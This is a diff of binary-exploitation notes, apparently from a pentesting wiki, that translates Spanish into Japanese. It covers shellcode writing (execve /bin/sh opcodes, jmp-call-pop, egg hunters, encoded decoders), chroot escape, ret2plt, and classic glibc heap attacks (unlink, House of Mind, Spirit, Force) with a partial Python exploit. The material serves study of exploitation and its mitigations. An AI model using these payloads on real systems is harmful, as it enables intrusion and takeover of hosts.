システムコールを実行 -**nasm -f elf assembly.asm** —> Nos devuelve un .o\ -**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\ -**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes - -**Comprobar que la shellcode funciona** +**nasm -f elf assembly.asm** —> .oファイルを返す\ +**ld assembly.o -o shellcodeout** —> アセンブリコードから形成された実行可能ファイルを得て、**objdump**でオペコードを取得できる\ +**objdump -d -Mintel ./shellcodeout** —> 実際に私たちのシェルコードであることを確認し、オペコードを取得する +**シェルコードが機能することを確認する** ``` char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” void main(){ - void (*fp) (void); - fp = (void *)shellcode; - fp(); +void (*fp) (void); +fp = (void *)shellcode; +fp(); } ``` +システムコールが正しく行われているか確認するには、前のプログラムをコンパイルし、システムコールが**strace ./PROGRAMA_COMPILADO**に表示される必要があります。 -Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA_COMPILADO** - -A la hora de crear shellcodes se puede realizar un truco. La primera instrucción es un jump a un call. El call llama al código original y además mete en el stack el EIP. Después de la instrucción call hemos metido el string que necesitásemos, por lo que con ese EIP podemos señalar al string y además continuar ejecutando el código. - -EJ **TRUCO (/bin/sh)**: +シェルコードを作成する際にトリックを行うことができます。最初の命令はcallへのジャンプです。callは元のコードを呼び出し、さらにEIPをスタックに入れます。call命令の後に必要な文字列を入れているため、そのEIPを使って文字列を指し示し、さらにコードの実行を続けることができます。 +EJ **トリック (/bin/sh)**: ``` jmp 0x1f ; Salto al último call popl %esi ; Guardamos en ese la dirección al string @@ -56,9 +53,7 @@ int $0x80 ; exit(0) call -0x24 ; Salto a la primera instrución .string \”/bin/sh\” ; String a usar ``` - -**EJ usando el Stack(/bin/sh):** - +**EJを使用したスタック(/bin/sh):** ``` section .text global _start @@ -79,54 +74,49 @@ mov ecx, esp ; arg2 = args[] mov al, 0x0b ; Syscall 11 int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) ``` - **EJ FNSTENV:** - ``` fabs fnstenv [esp-0x0c] pop eax ; Guarda el EIP en el que se ejecutó fabs … ``` - **Egg Huter:** -Consiste en un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode ahi guardada (busca alguna firma puesta en la shellcode). Útil en los casos en los que solo se tiene un pequeño espacio para inyectar código. +小さなコードで、プロセスに関連付けられたメモリページを走査し、そこに保存されたシェルコードを探します(シェルコードに置かれた署名を探します)。コードを注入するための小さなスペースしかない場合に便利です。 **Shellcodes polimórficos** -Consisten el shells cifradas que tienen un pequeño códigos que las descifran y saltan a él, usando el truco de Call-Pop este sería un **ejemplo cifrado cesar**: - +暗号化されたシェルで構成されており、それを復号化してジャンプする小さなコードを持っています。Call-Popのトリックを使用して、これは**暗号化されたシーザーの例**です: ``` global _start _start: - jmp short magic +jmp short magic init: - pop esi - xor ecx, ecx - mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) +pop esi +xor ecx, ecx +mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) desc: - sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) - sub cl, 1 - jnz desc - jmp short sc +sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) +sub cl, 1 +jnz desc +jmp short sc magic: - call init +call init sc: - ;Aquí va el shellcode +;Aquí va el shellcode ``` +## **5.補完的手法** -## **5.Métodos complementarios** +**Murat技術** -**Técnica de Murat** +Linuxではすべてのプログラムは0xbfffffffからマッピングされます。 -En linux todos los progamas se mapean comenzando en 0xbfffffff +Linuxで新しいプロセスのスタックがどのように構築されるかを見ることで、プログラムがシェルコードだけを持つ環境で起動されるようにエクスプロイトを開発できます。このアドレスは次のように計算できます: addr = 0xbfffffff - 4 - strlen(完全な実行可能ファイル名) - strlen(shellcode) -Viendo como se construye la pila de un nuevo proceso en linux se puede desarrollar un exploit de forma que programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode) +このようにして、シェルコードを持つ環境変数のアドレスを簡単に取得できます。 -De esta forma se obtendría de forma sensilla la dirección donde está la variable de entorno con la shellcode. - -Esto se puede hacer gracias a que la función execle permite crear un entorno que solo tenga las variables de entorno que se deseen +これは、execle関数が必要な環境変数だけを持つ環境を作成できるため可能です。 ## @@ -138,126 +128,126 @@ Esto se puede hacer gracias a que la función execle permite crear un entorno qu ### -### **Format Strings to Buffer Overflows** +### **フォーマット文字列によるバッファオーバーフロー** -Tthe **sprintf moves** a formatted string **to** a **variable.** Therefore, you could abuse the **formatting** of a string to cause a **buffer overflow in the variable** where the content is copied to.\ -For example, the payload `%.44xAAAA` will **write 44B+"AAAA" in the variable**, which may cause a buffer overflow. +**sprintf**はフォーマットされた文字列を**変数に移動**します。したがって、文字列の**フォーマット**を悪用して、内容がコピーされる**変数でバッファオーバーフローを引き起こす**ことができます。\ +例えば、ペイロード`%.44xAAAA`は**変数に44B+"AAAA"を書き込み**、これがバッファオーバーフローを引き起こす可能性があります。 -### **\_\_atexit Structures** +### **\_\_atexit構造体** > [!CAUTION] -> Nowadays is very **weird to exploit this**. +> 現在、これをエクスプロイトするのは非常に**奇妙です**。 -**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ -If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ -Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\ -The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. +**`atexit()`**は、**他の関数がパラメータとして渡される**関数です。これらの**関数**は、**`exit()`**を実行するか、**main**の**戻り**時に**実行されます**。\ +これらの**関数**のいずれかの**アドレス**をシェルコードを指すように**変更**できれば、**プロセスの制御を得る**ことができますが、これは現在より複雑です。\ +現在、実行される**関数のアドレス**は、いくつかの構造の背後に**隠されており**、最終的に指すアドレスは関数のアドレスではなく、**XORで暗号化され**、**ランダムキー**でオフセットされています。したがって、現在この攻撃ベクターは**x86**および**x64_86**ではあまり役に立ちません。\ +**暗号化関数**は**`PTR_MANGLE`**です。**m68k、mips32、mips64、aarch64、arm、hppa**などの**他のアーキテクチャ**は、**暗号化**関数を実装していません。なぜなら、それは**入力として受け取ったものと同じ**を返すからです。したがって、これらのアーキテクチャはこのベクターで攻撃可能です。 ### **setjmp() & longjmp()** > [!CAUTION] -> Nowadays is very **weird to exploit this**. +> 現在、これをエクスプロイトするのは非常に**奇妙です**。 -**`Setjmp()`** allows to **save** the **context** (the registers)\ -**`longjmp()`** allows to **restore** the **context**.\ -The **saved registers** are: `EBX, ESI, EDI, ESP, EIP, EBP`\ -What happens is that EIP and ESP are passed by the **`PTR_MANGLE`** function, so the **architecture vulnerable to this attack are the same as above**.\ -They are useful for error recovery or interrupts.\ -However, from what I have read, the other registers are not protected, **so if there is a `call ebx`, `call esi` or `call edi`** inside the function being called, control can be taken over. Or you could also modify EBP to modify the ESP. +**`setjmp()`**は**コンテキスト**(レジスタ)を**保存**します。\ +**`longjmp()`**は**コンテキスト**を**復元**します。\ +**保存されたレジスタ**は: `EBX, ESI, EDI, ESP, EIP, EBP`\ +EIPとESPは**`PTR_MANGLE`**関数によって渡されるため、この攻撃に対して脆弱な**アーキテクチャは上記と同じ**です。\ +エラー回復や割り込みに役立ちます。\ +ただし、私が読んだところによると、他のレジスタは保護されていないため、**関数内で`call ebx`、`call esi`、または`call edi`**がある場合、制御を奪うことができます。また、EBPを変更してESPを変更することもできます。 -**VTable y VPTR en C++** +**C++におけるVTableとVPTR** -Each class has a **Vtable** which is an array of **pointers to methods**. +各クラスには**Vtable**があり、これは**メソッドへのポインタの配列**です。 -Each object of a **class** has a **VPtr** which is a **pointer** to the arrayof its class. The VPtr is part of the header of each object, so if an **overwrite** of the **VPtr** is achieved it could be **modified** to **point** to a dummy method so that executing a function would go to the shellcode. +各**クラス**のオブジェクトには**VPtr**があり、これはそのクラスの配列への**ポインタ**です。VPtrは各オブジェクトのヘッダーの一部であるため、**VPtrの上書き**が成功すれば、ダミーメソッドを指すように**変更**でき、関数を実行するとシェルコードに飛ぶことになります。 -## **Medidas preventivas y evasiones** +## **予防措置と回避策** ### -**Reemplazo de Libsafe** +**Libsafeの置き換え** -Se activa con: LD_PRELOAD=/lib/libsafe.so.2\ -o\ +次のようにアクティブ化されます: LD_PRELOAD=/lib/libsafe.so.2\ +または\ “/lib/libsave.so.2” > /etc/ld.so.preload -Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaxiones con -fomit-frame-pointer, no compilaciones estaticas, no todas las funciones vulnerables se vuelven seguras y LD_PRELOAD no sirve en binarios con suid). +不安全な関数への呼び出しを安全なものに置き換えます。標準化されていません。(x86専用、-fomit-frame-pointerでコンパイルされたものには適用されず、静的コンパイルには適用されず、すべての脆弱な関数が安全になるわけではなく、LD_PRELOADはsuidバイナリでは機能しません)。 -**ASCII Armored Address Space** +**ASCIIアーマードアドレス空間** -Consiste en cargar las librería compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene a penas ningún ataque, y menos en little endian. +0x00000000から0x00ffffffまでの共有ライブラリを読み込むことで、常にバイト0x00が存在するようにします。しかし、これは実際にはほとんどの攻撃を防ぐことはできず、特にリトルエンディアンでは効果が薄いです。 **ret2plt** -Consiste en realiza un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2ºbyte de system()… Al final se llama la dirección guardada en GOT que será system() +ROPを実行して、strcpy@plt(pltの)関数を呼び出し、GOTのエントリを指し、呼び出したい関数の最初のバイトをコピーします(system())。次に、GOT+1を指してsystem()の2バイト目をコピーします…最終的にGOTに保存されたアドレスを呼び出すことになります。 -**Jaulas con chroot()** +**chroot()によるサンドボックス** -debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico +debootstrap -arch=i386 hardy /home/user —> 特定のサブディレクトリに基本システムをインストールします。 -Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd .. +管理者は次のようにしてこれらのサンドボックスから出ることができます: mkdir foo; chroot foo; cd .. -**Instrumentación de código** +**コードのインストゥルメンテーション** -Valgrind —> Busca errores\ +Valgrind —> エラーを探します。\ Memcheck\ RAD (Return Address Defender)\ Insure++ -## **8 Heap Overflows: Exploits básicos** +## **8 ヒープオーバーフロー: 基本的なエクスプロイト** -**Trozo asignado** +**割り当てられたチャンク** prev_size |\ -size | —Cabecera\ -\*mem | Datos +size | —ヘッダー\ +\*mem | データ -**Trozo libre** +**空きチャンク** prev_size |\ size |\ -\*fd | Ptr forward chunk\ -\*bk | Ptr back chunk —Cabecera\ -\*mem | Datos +\*fd | 前方チャンクへのポインタ\ +\*bk | 後方チャンクへのポインタ —ヘッダー\ +\*mem | データ -Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan) +空きチャンクは双方向リスト(bin)にあり、2つの空きチャンクが隣接することはありません(結合されます)。 -En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario. +“size”には次のビットが含まれています: 前のチャンクが使用中かどうか、チャンクがmmap()によって割り当てられたかどうか、チャンクがプライマリアリーナに属するかどうか。 -Si al liberar un trozo alguno de los contiguos se encuentra libre , estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado. +チャンクを解放する際に、隣接するチャンクのいずれかが空いている場合、これらはunlink()マクロを介して結合され、新しい大きなチャンクがfrontlink()に渡されて適切なbinに挿入されます。 unlink(){\ -BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes\ -FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes\ -FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk\ -BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk\ +BK = P->bk; —> 新しいチャンクのBKは、以前に空いていたチャンクのBKです。\ +FD = P->fd; —> 新しいチャンクのFDは、以前に空いていたチャンクのFDです。\ +FD->bk = BK; —> 次のチャンクのBKは新しいチャンクを指します。\ +BK->fd = FD; —> 前のチャンクのFDは新しいチャンクを指します。\ } -Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra: +したがって、P->bkをシェルコードのアドレスに、P->fdをGOTまたはDTORSのエントリのアドレス-12に変更できれば、次のようになります: BK = P->bk = \&shellcode\ FD = P->fd = &\_\_dtor_end\_\_ - 12\ FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode -Y así se se ejecuta al salir del programa la shellcode. +これにより、プログラム終了時にシェルコードが実行されます。 -Además, la 4º sentencia de unlink() escribe algo y la shellcode tiene que estar reparada para esto: +さらに、unlink()の4番目の文は何かを書き込み、シェルコードはこれに合わせて修正される必要があります: -BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode. +BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> これはシェルコードの8バイト目から4バイトを書き込むため、シェルコードの最初の命令はこれをスキップして残りのシェルコードに飛ぶためのjmpである必要があります。 -Por lo tanto el exploit se crea: +したがって、エクスプロイトは次のように作成されます: -En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode. +buffer1にシェルコードを入れ、最初にjmpを入れてnopsまたは残りのシェルコードに飛ぶようにします。 -Después de la shell code metemos relleno hasta llegar al campo prev_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 (de forma que se sobrescrita el prev_size para que tenga el bit que dice que está libre) y “-4“(0xfffffffc) en el size (para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev_size modificado que le dirá que s´está libre) -> Así cuando free() investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink()**. +シェルコードの後に、次のチャンクのprev_sizeとsizeフィールドに到達するまでパディングを入れます。これらの場所に0xfffffff0を入れ(prev_sizeが空いていることを示すビットを持つように上書きされる)、sizeに“-4”(0xfffffffc)を入れます(3番目のチャンクで2番目が実際に空いているかどうかを確認する際に、変更されたprev_sizeに行くようにします)-> これにより、free()が調査すると、3番目のsizeに行きますが、実際には2番目-4に行き、2番目のチャンクが空いていると考えます。そして、**unlink()**を呼び出します。 -Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso). +unlink()を呼び出すと、P->fdとして2番目のチャンクの最初のデータを使用するため、そこに上書きしたいアドレス-12(FD->bkに12を加算します)を入れます。そして、そのアドレスに2番目のチャンクで見つけた2番目のアドレスを入れます。これはシェルコードへのアドレスであることが望ましいです(偽のP->bk)。 **from struct import \*** **import os** -**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno** +**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12バイトのパディング** **shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** @@ -265,73 +255,73 @@ Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo q **"\x80\xe8\xdc\xff\xff\xff/bin/sh";** -**prev_size = pack("\ Devuelve un puntero a la dirección donde comienza el trozo (mem-8) +p = mem2chunk(mem); —> チャンクが始まるアドレスへのポインタを返します(mem-8) … @@ -351,11 +341,11 @@ ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->a } -En \[1] comprueba el campo size el bit NON_MAIN_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap_for_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar_ptr (como si fuese un struct heap_info) +\[1]では、sizeフィールドのNON_MAIN_ARENAビットを確認し、このビットを変更してtrueを返すようにし、heap_for_ptr()を実行します。これにより、memに対してandを適用し、最も重要でない2.5バイトを0にします(この場合、0x0804a000から0x08000000になります)そして、0x08000000->ar_ptrにアクセスします(heap_info構造体のように)。 -De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap_for_ptr(ptr)->ar_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar_ptr) +このようにして、例えば0x0804a000でチャンクを制御でき、**0x081002a0**でチャンクが解放されると、0x08100000に到達し、任意のものを書き込むことができます。例えば**0x0804a000**。この2番目のチャンクが解放されると、heap_for_ptr(ptr)->ar_ptrは0x08100000に書き込んだものを返します(なぜなら、前述のandが0x081002a0に適用され、最初の4バイトの値が得られるからです)。 -De esta forma se llama a \_int_free(ar_ptr, mem), es decir, **\_int_free(0x0804a000, 0x081002a0)**\ +このようにして、\_int_free(ar_ptr, mem)が呼び出されます。つまり、**\_int_free(0x0804a000, 0x081002a0)**\ **\_int_free(mstate av, Void_t\* mem){**\ …\ bck = unsorted_chunks(av);\ @@ -367,36 +357,36 @@ fwd->bk = p; ..} -Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar. +前述のように、avの値を制御できることがわかります。これは、解放されるチャンクに書き込んだものです。 -Tal y como se define unsorted_chunks, sabemos que:\ +unsorted_chunksが定義されているように、次のことがわかります:\ bck = \&av->bins\[2]-8;\ fwd = bck->fd = \*(av->bins\[2]);\ fwd->bk = \*(av->bins\[2] + 12) = p; -Por lo tanto si en av->bins\[2] escribimos el valor de \_\_DTOR_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR_END\_\_ la dirección del segundo trozo. +したがって、av->bins\[2]に\_\_DTOR_END\_\_-12の値を書き込むと、最後の命令で\_\_DTOR_END\_\_に2番目のチャンクのアドレスが書き込まれます。 -Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR_END\_\_-12 porque de ahí la sacará av->bins\[2] +つまり、最初のチャンクの先頭に\_\_DTOR_END\_\_-12のアドレスを何度も入れる必要があります。なぜなら、av->bins\[2]がそこから取得するからです。 -En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap_for_ptr() piense que el ar_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2] +2番目のチャンクのアドレスに最後の5つのゼロがある場合、最初のチャンクのアドレスを書き込む必要があります。これにより、heap_for_ptr()はar_ptrが最初のチャンクの先頭にあると考え、av->bins\[2]をそこから取得します。 -En el segundo trozo y gracias al primero sobreescribimos el prev_size con un jump 0x0c y el size con algo para activar -> NON_MAIN_ARENA +2番目のチャンクでは、最初のチャンクのprev_sizeを0x0cに、sizeを何かに変更して-> NON_MAIN_ARENAを有効にします。 -A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode +次に、チャンク2にnopsの山を置き、最後にシェルコードを置きます。 -De esta forma se llamará a \_int_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \_\_DTOR_END\_\_ la dirección del prev_size del TROZO2 el cual saltará a la shellcode. +このようにして、\_int_free(TROZO1, TROZO2)が呼び出され、次にTROZO2のprev_sizeのアドレスが\_\_DTOR_END\_\_に書き込まれ、シェルコードに飛びます。 -Para aplicar esta técnica hace falta que se cumplan algunos requerimientos más que complican un poco más el payload. +この技術を適用するには、ペイロードを少し複雑にするためにいくつかの要件を満たす必要があります。 -Esta técnica ya no es aplicable pues se aplicó casi el mismo parche que para unlink. Se comparan si el nuevo sitio al que se apunta también le está apuntando a él. +この技術は、unlinkに対してほぼ同じパッチが適用されたため、もはや適用できません。新しいポインタが自分自身を指しているかどうかを比較します。 **Fastbin** -Es una variante de The house of mind +これはThe house of mindのバリエーションです。 -nos interesa llegar a ejecutar el siguiente código al cuál se llega pasada la primera comprobación de la función \_int_free() +次のコードを実行するために必要です。これは、\_int_free()関数の最初のチェックを通過した後に到達します。 -fb = &(av->fastbins\[fastbin_index(size)] —> Siendo fastbin_index(sz) —> (sz >> 3) - 2 +fb = &(av->fastbins\[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2 … @@ -404,61 +394,61 @@ p->fd = \*fb \*fb = p -De esta forma si se pone en “fb” da dirección de una función en la GOT, en esta dirección se pondrá la dirección al trozo sobrescrito. Para esto será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente que av->max_fast esté en la dirección que vamos a sobreescribir. +このようにして、fbに関数のアドレスを置くと、そのアドレスに上書きされたチャンクのアドレスが置かれます。これには、アリーナがdtorsのアドレスに近い必要があります。より正確には、av->max_fastが上書きされるアドレスにある必要があります。 -Dado que con The House of Mind se vio que nosotros controlábamos la posición del av. +The House of Mindで、avの位置を制御できることがわかりました。 -Entones si en el campo size ponemos un tamaño de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() nos devolverá fastbins\[-1], que apuntará a av->max_fast +したがって、sizeフィールドに8 + NON_MAIN_ARENA + PREV_INUSEのサイズを置くと、fastbin_index()はfastbins\[-1]を返し、av->max_fastを指します。 -En este caso av->max_fast será la dirección que se sobrescrita (no a la que apunte, sino esa posición será la que se sobrescrita). +この場合、av->max_fastは上書きされるアドレスになります(指すのではなく、その位置が上書きされます)。 -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops). +さらに、解放されたチャンクの隣接チャンクは8より大きくなければなりません。-> 先ほど解放されたチャンクのサイズが8であるため、この偽のチャンクには8より大きなサイズを置くだけで済みます(シェルコードが解放されたチャンクに入るため、最初にnopsに飛ぶjmpを置く必要があります)。 -Además, ese mismo trozo falso debe ser menor que av->system_mem. av->system_mem se encuentra 1848 bytes más allá. +さらに、この偽のチャンクはav->system_memより小さくなければなりません。av->system_memは1848バイト先にあります。 -Por culpa de los nulos de \_DTOR_END\_ y de las pocas direcciones en la GOT, ninguna dirección de estas secciones sirven para ser sobrescritas, así que veamos como aplicar fastbin para atacar la pila. +\_\_DTOR_END\_のゼロとGOTの少ないアドレスのため、これらのセクションのアドレスは上書きするのに適していないため、スタックを攻撃するためにfastbinを適用する方法を見てみましょう。 -Otra forma de ataque es redirigir el **av** hacia la pila. +別の攻撃方法は、**av**をスタックにリダイレクトすることです。 -Si modificamos el size para que de 16 en vez de 8 entonces: fastbin_index() nos devolverá fastbins\[0] y podemos hacer uso de esto para sobreescribir la pila. +sizeを8ではなく16に変更すると、fastbin_index()はfastbins\[0]を返し、これを使用してスタックを上書きできます。 -Para esto no debe haber ningún canary ni valores raros en la pila, de hecho tenemos que encontrarnos en esta: 4bytes nulos + EBP + RET +これには、canaryやスタック内の奇妙な値がない必要があります。実際、次のような状態でなければなりません: 4バイトのゼロ + EBP + RET -Los 4 bytes nulo se necesitan que el **av** estará a esta dirección y el primero elemento de un **av** es el mutexe que tiene que valer 0. +4バイトのゼロは、**av**がこのアドレスにある必要があり、**av**の最初の要素は0である必要があります。 -El **av->max_fast** será el EBP y será un valor que nos servirá para saltarnos las restricciones. +**av->max_fast**はEBPになり、制約を回避するための値になります。 -En el **av->fastbins\[0]** se sobreescribirá con la dirección de **p** y será el RET, así se saltará a la shellcode. +**av->fastbins\[0]**は**p**のアドレスで上書きされ、RETになります。これにより、シェルコードに飛びます。 -Además, en **av->system_mem** (1484bytes por encima de la posición en la pila) habrá bastante basura que nos permitirá saltarnos la comprobación que se realiza. +さらに、**av->system_mem**(スタックの位置から1484バイト上)には、チェックを回避するのに十分なゴミが含まれます。 -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 16, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops que van después del campo size del nuevo trozo falso). +さらに、解放されたチャンクの隣接チャンクは8より大きくなければなりません。-> 解放されたチャンクのサイズが16であるため、この偽のチャンクには8より大きなサイズを置くだけで済みます(シェルコードが解放されたチャンクに入るため、最初にnopsに飛ぶjmpを置く必要があります)。 **The House of Spirit** -En este caso buscamos tener un puntero a un malloc que pueda ser alterable por el atacante (por ej, que el puntero esté en el stack debajo de un posible overflow a una variable). +この場合、攻撃者によって変更可能なmallocへのポインタを持つことを目指します(例えば、ポインタがスタックの変数へのオーバーフローの下にある場合)。 -Así, podríamos hacer que este puntero apuntase a donde fuese. Sin embargo, no cualquier sitio es válido, el tamaño del trozo falseado debe ser menor que av->max_fast y más específicamente igual al tamaño solicitado en una futura llamada a malloc()+8. Por ello, si sabemos que después de este puntero vulnerable se llama a malloc(40), el tamaño del trozo falso debe ser igual a 48. +このようにして、このポインタを任意の場所に指すようにできます。しかし、どの場所も有効ではなく、偽のチャンクのサイズはav->max_fastより小さく、具体的には将来のmalloc()呼び出しで要求されるサイズ+8と等しくなければなりません。したがって、この脆弱なポインタの後にmalloc(40)が呼び出されることがわかっている場合、偽のチャンクのサイズは48でなければなりません。 -Si por ejemplo el programa preguntase al usuario por un número podríamos introducir 48 y apuntar el puntero de malloc modificable a los siguientes 4bytes (que podrían pertenecer al EBP con suerte, así el 48 queda por detrás, como si fuese la cabecera size). Además, la dirección ptr-4+48 debe cumplir varias condiciones (siendo en este caso ptr=EBP), es decir, 8 < ptr-4+48 < av->system_mem. +例えば、プログラムがユーザーに数値を尋ねる場合、48を入力してmallocの変更可能なポインタを次の4バイト(運が良ければEBPに属する可能性がある)に指すことができます。こうすることで、48は後ろに残り、サイズヘッダーのように見えます。さらに、ptr-4+48のアドレスは複数の条件を満たす必要があります(この場合、ptr=EBP)。つまり、8 < ptr-4+48 < av->system_mem。 -En caso de que esto se cumpla, cuando se llame al siguiente malloc que dijimos que era malloc(40) se le asignará como dirección la dirección del EBP. En caso de que el atacante también pueda controlar lo que se escribe en este malloc puede sobreescribir tanto el EBP como el EIP con la dirección que quiera. +これが満たされると、次のmallocがmalloc(40)と呼ばれるとき、EBPのアドレスが割り当てられます。攻撃者がこのmallocに書き込むことができる場合、EBPとEIPの両方を任意のアドレスに上書きできます。 -Esto creo que es porque así cuando lo libere free() guardará que en la dirección que apunta al EBP del stack hay un trozo de tamaño perfecto para el nuevo malloc() que se quiere reservar, así que le asigna esa dirección. +これは、free()が解放する際に、スタックのEBPを指すアドレスに新しいmalloc()のための完璧なサイズのチャンクがあることを記録するためだと思います。したがって、そのアドレスが割り当てられます。 **The House of Force** -Es necesario: +必要なもの: -- Un overflow a un trozo que permita sobreescribir el wilderness -- Una llamada a malloc() con el tamaño definido por el usuario -- Una llamada a malloc() cuyos datos puedan ser definidos por el usuario +- wildernessを上書きできるチャンクへのオーバーフロー +- ユーザーによって定義されたサイズでmalloc()を呼び出す +- ユーザーによって定義されたデータを持つmalloc()の呼び出し -Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande (0xffffffff), así cual quiera solicitud de memoria lo suficientemente grande será tratada en \_int_malloc() sin necesidad de expandir el heap +最初に、wildernessのチャンクのサイズを非常に大きな値(0xffffffff)で上書きします。これにより、十分に大きなメモリ要求は\_int_malloc()で処理され、ヒープを拡張する必要がなくなります。 -Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá \&EIP - 8. +次に、av->topを攻撃者の制御下にあるメモリ領域(スタックなど)を指すように変更します。av->topには\&EIP - 8が置かれます。 -Tenemos que sobreescrbir av->top para que apunte a la zona de memoria bajo el control del atacante: +av->topを攻撃者の制御下にあるメモリ領域を指すように上書きする必要があります: victim = av->top; @@ -466,86 +456,86 @@ remainder = chunck_at_offset(victim, nb); av->top = remainder; -Victim recoge el valor de la dirección del trozo wilderness actual (el actual av->top) y remainder es exactamente la suma de esa dirección más la cantidad de bytes solicitados por malloc(). Por lo que si \&EIP-8 está en 0xbffff224 y av->top contiene 0x080c2788, entonces la cantidad que tenemos que reservar en el malloc controlado para que av->top quede apuntando a $EIP-8 para el próximo malloc() será: +Victimは現在のwildernessチャンクのアドレスの値(現在のav->top)を取得し、remainderはそのアドレスにmalloc()によって要求されたバイト数を加えたものです。したがって、\&EIP-8が0xbffff224にあり、av->topが0x080c2788を含む場合、次のmalloc()のためにav->topが$EIP-8を指すようにするために、制御されたmallocで予約する必要がある量は次のようになります: -0xbffff224 - 0x080c2788 = 